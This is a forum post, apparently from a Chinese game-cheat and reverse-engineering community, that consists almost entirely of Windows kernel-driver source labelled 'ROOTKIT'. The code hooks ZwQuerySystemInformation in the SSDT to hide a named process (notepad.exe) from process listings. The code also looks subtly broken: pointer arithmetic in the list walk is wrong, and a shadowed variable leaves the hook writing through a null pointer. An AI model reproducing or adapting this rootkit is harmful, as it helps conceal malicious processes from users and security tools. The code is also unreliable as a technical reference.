龙马谷

 找回密码
 立即注册

QQ登录

只需一步,快速开始

龙马谷VIP会员办理客服QQ:82926983(如果临时会话没有收到回复,请先加QQ好友再发。)
1 [已完结] GG修改器新手入门与实战教程 31课 2 [已完结] GG修改器美化修改教程 6课 3 [已完结] GG修改器Lua脚本新手入门教程 12课
4 [已完结] 触动精灵脚本新手入门必学教程 22课 5 [已完结] 手游自动化脚本入门实战教程 9课 6 [已完结] C++射击游戏方框骨骼透视与自瞄教程 27课
7 [已完结] C++零基础UE4逆向开发FPS透视自瞄教程 29课 8 [已完结] C++零基础大漠模拟器手游自动化辅助教程 22课
以下是天马阁VIP教程,本站与天马阁合作,赞助VIP可以获得天马阁对应VIP会员,名额有限! 点击进入天马阁论坛
1 [已完结] x64CE与x64dbg入门基础教程 7课 2 [已完结] x64汇编语言基础教程 16课 3 [已完结] x64辅助入门基础教程 9课
4 [已完结] C++x64内存辅助实战技术教程 149课 5 [已完结] C++x64内存检测与过检测技术教程 10课 6 [已完结] C+x64二叉树分析遍历与LUA自动登陆教程 19课
7 [已完结] C++BT功能原理与x64实战教程 29课 8 [已完结] C+FPS框透视与自瞄x64实现原理及防护思路
查看: 1740|回复: 0

hook zwQuerySysteminformation 隐藏进程

[复制链接]

14

主题

0

回帖

18

积分

编程入门

Rank: 1

龙马币
38
三月的天气 | 显示全部楼层 |阅读模式


hook zwQuerySysteminformation 隐藏进程

  1. 代码:
  2. #include <ntddk.h>
  3. //#include <windows.h>
  4. typedef unsigned long DWORD;

  5. #pragma pack(1)

  6. typedef        struct ServiceDescriptorEntry{
  7.         unsigned int *ServiceTableBase;
  8.         unsigned int *ServiceCountTableBase;
  9.         unsigned int NumberOfServices;
  10.         unsigned char *ParamTableBase;
  11. }ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;

  12. #pragma pack()

  13. extern "C" __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

  14. //定位基地址
  15. #define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)(_function)+1)]

  16. //获得函数在SSDT中的索引宏
  17. #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)(_Function)+1)

  18. //调换自己的hook函数与原系统函数的地址
  19. #define HOOK_SYSCALL(_Function, _Hook, _Orig ) \
  20.         _Orig = (PULONG) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

  21. //卸载hook函数
  22. #define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \
  23.         InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

  24. PMDL g_pmdlSystemCall;
  25. PVOID *MappedSystemCallTable;


  26. typedef struct _SYSTEM_THREAD_INFORMATION {
  27.         LARGE_INTEGER           KernelTime;
  28.         LARGE_INTEGER           UserTime;
  29.         LARGE_INTEGER           CreateTime;
  30.         ULONG                   WaitTime;
  31.         PVOID                   StartAddress;
  32.         CLIENT_ID               ClientId;
  33.         KPRIORITY               Priority;
  34.         LONG                    BasePriority;
  35.         ULONG                   ContextSwitchCount;
  36.         ULONG                   State;
  37.         KWAIT_REASON            WaitReason;
  38. }SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;

  39. typedef struct _SYSTEM_PROCESS_INFORMATION {
  40.         ULONG                   NextEntryOffset;
  41.         ULONG                   NumberOfThreads;
  42.         LARGE_INTEGER           Reserved[3];
  43.         LARGE_INTEGER           CreateTime;
  44.         LARGE_INTEGER           UserTime;
  45.         LARGE_INTEGER           KernelTime;
  46.         UNICODE_STRING          ImageName;
  47.         KPRIORITY               BasePriority;
  48.         HANDLE                  ProcessId;
  49.         HANDLE                  InheritedFromProcessId;
  50.         ULONG                   HandleCount;
  51.         ULONG                   Reserved2[2];
  52.         ULONG                   PrivatePageCount;
  53.         VM_COUNTERS             VirtualMemoryCounters;
  54.         IO_COUNTERS             IoCounters;
  55.         SYSTEM_THREAD_INFORMATION           Threads[0];
  56. } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

  57. extern        "C"
  58. NTSYSAPI
  59.         NTSTATUS
  60.         NTAPI ZwQuerySystemInformation(
  61.         IN ULONG SystemInformationClass,
  62.         IN PVOID SystemInformation,
  63.         IN ULONG SystemInformationLength,
  64.         OUT PULONG ReturnLength);


  65. typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
  66.         ULONG SystemInformationCLass,
  67.         PVOID SystemInformation,
  68.         ULONG SystemInformationLength,
  69.         PULONG ReturnLength
  70.         );

  71. ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation;
  72. LARGE_INTEGER m_UserTime;
  73. LARGE_INTEGER m_KernelTime;


  74. //我们的hook函数,过滤掉notepad.exe的进程
  75.         NTSTATUS NewZwQuerySystemInformation(
  76.         IN ULONG SystemInformationClass,
  77.         IN PVOID SystemInformation,
  78.         IN ULONG SystemInformationLength,
  79.         OUT PULONG ReturnLength)
  80. {
  81.         NTSTATUS ntStatus;
  82.         ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
  83.                 SystemInformationClass,
  84.                 SystemInformation,
  85.                 SystemInformationLength,
  86.                 ReturnLength );
  87.         if( NT_SUCCESS(ntStatus))
  88.         {
  89.                 // Asking for a file and directory listing
  90.                 if(SystemInformationClass == 5)
  91.                 {

  92.                         // 列举系统进程链表
  93.                         PSYSTEM_PROCESS_INFORMATION pCurr = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
  94.                         PSYSTEM_PROCESS_INFORMATION pPrev = NULL;


  95.                         while(pCurr)
  96.                         {
  97.                                 if (pCurr->ImageName.Buffer != NULL)
  98.                                 {
  99.                                         if(0 == memcmp(pCurr->ImageName.Buffer, L"notepad.exe", 22))
  100.                                         {
  101.                                                 if(pPrev) // Middle or Last entry
  102.                                                 {
  103.                                                         if(pCurr->NextEntryOffset)
  104.                                                                 pPrev->NextEntryOffset += pCurr->NextEntryOffset;
  105.                                                         else // we are last, so make prev the end
  106.                                                                 pPrev->NextEntryOffset = 0;
  107.                                                 }
  108.                                                 else
  109.                                                 {
  110.                                                         if(pCurr->NextEntryOffset)
  111.                                                         {
  112.                                                                 // we are first in the list, so move it forward
  113.                                                                 SystemInformation = (UCHAR*)SystemInformation + pCurr->NextEntryOffset;
  114.                                                         }
  115.                                                         else // 唯一的进程
  116.                                                                 SystemInformation = NULL;
  117.                                                 }
  118.                                         }
  119.                                 }
  120.                                 pPrev = pCurr;
  121.                                 if(pCurr->NextEntryOffset)
  122.                                 {
  123.                                         pCurr = pCurr + pCurr->NextEntryOffset;
  124.                                 }
  125.                                 else
  126.                                 {
  127.                                         pCurr = NULL;
  128.                                 }
  129.                                        
  130.                         }
  131.                 }
  132.         }
  133.         return ntStatus;
  134. }

  135. VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
  136. {
  137.         DbgPrint("ROOTKIT: OnUnload called\n");
  138.         // 卸载hook
  139.         UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );


  140.         // 解索并释放MDL
  141.         if(g_pmdlSystemCall)
  142.         {
  143.                 MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
  144.                 IoFreeMdl(g_pmdlSystemCall);
  145.         }
  146. }

  147. NTSTATUS DriverEntry(
  148.         __in  struct _DRIVER_OBJECT *DriverObject,
  149.         __in  PUNICODE_STRING RegistryPath
  150.         )
  151. {
  152.         DWORD * MappedSystemCallTable = NULL;
  153.         DbgPrint("ROOTKIT: Start\n");
  154.         DriverObject->DriverUnload = OnUnload;
  155.         // 初始化全局时间为零
  156.         // 这将会解决时间问题,如果不这样,尽管隐藏了进程,但时间的消耗会不变,cpu 100%
  157.         m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
  158.         OldZwQuerySystemInformation        =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));

  159.         g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);        // 储存旧的函数地址

  160.         if(!g_pmdlSystemCall)
  161.         {
  162.                 return STATUS_UNSUCCESSFUL;
  163.         }
  164.         MmBuildMdlForNonPagedPool(g_pmdlSystemCall);        // 改变MDL的Flags属性为可写,既然可写当然可读,可执行
  165.         g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
  166.         MappedSystemCallTable = (DWORD*)MmMapLockedPages(g_pmdlSystemCall, KernelMode);         
  167.         // 用了宏,把原来的Zw*替换成我们的New*函数。至此已完成了我们的主要两步,先突破了SSDT的保护,接着用宏更改了目标函数,下来就剩下具体的过滤任务了

  168.         HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, MappedSystemCallTable );

  169.         return STATUS_SUCCESS;
  170.         return STATUS_SUCCESS;
  171. }
复制代码


您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

龙马谷| C/C++辅助教程| 安卓逆向安全| 论坛导航| 免责申明|Archiver|
拒绝任何人以任何形式在本论坛发表与中华人民共和国法律相抵触的言论,本站内容均为会员发表,并不代表龙马谷立场!
任何人不得以任何方式翻录、盗版或出售本站视频,一经发现我们将追究其相关责任!
我们一直在努力成为最好的编程论坛!
Copyright© 2018-2021 All Right Reserved.
在线客服
快速回复 返回顶部 返回列表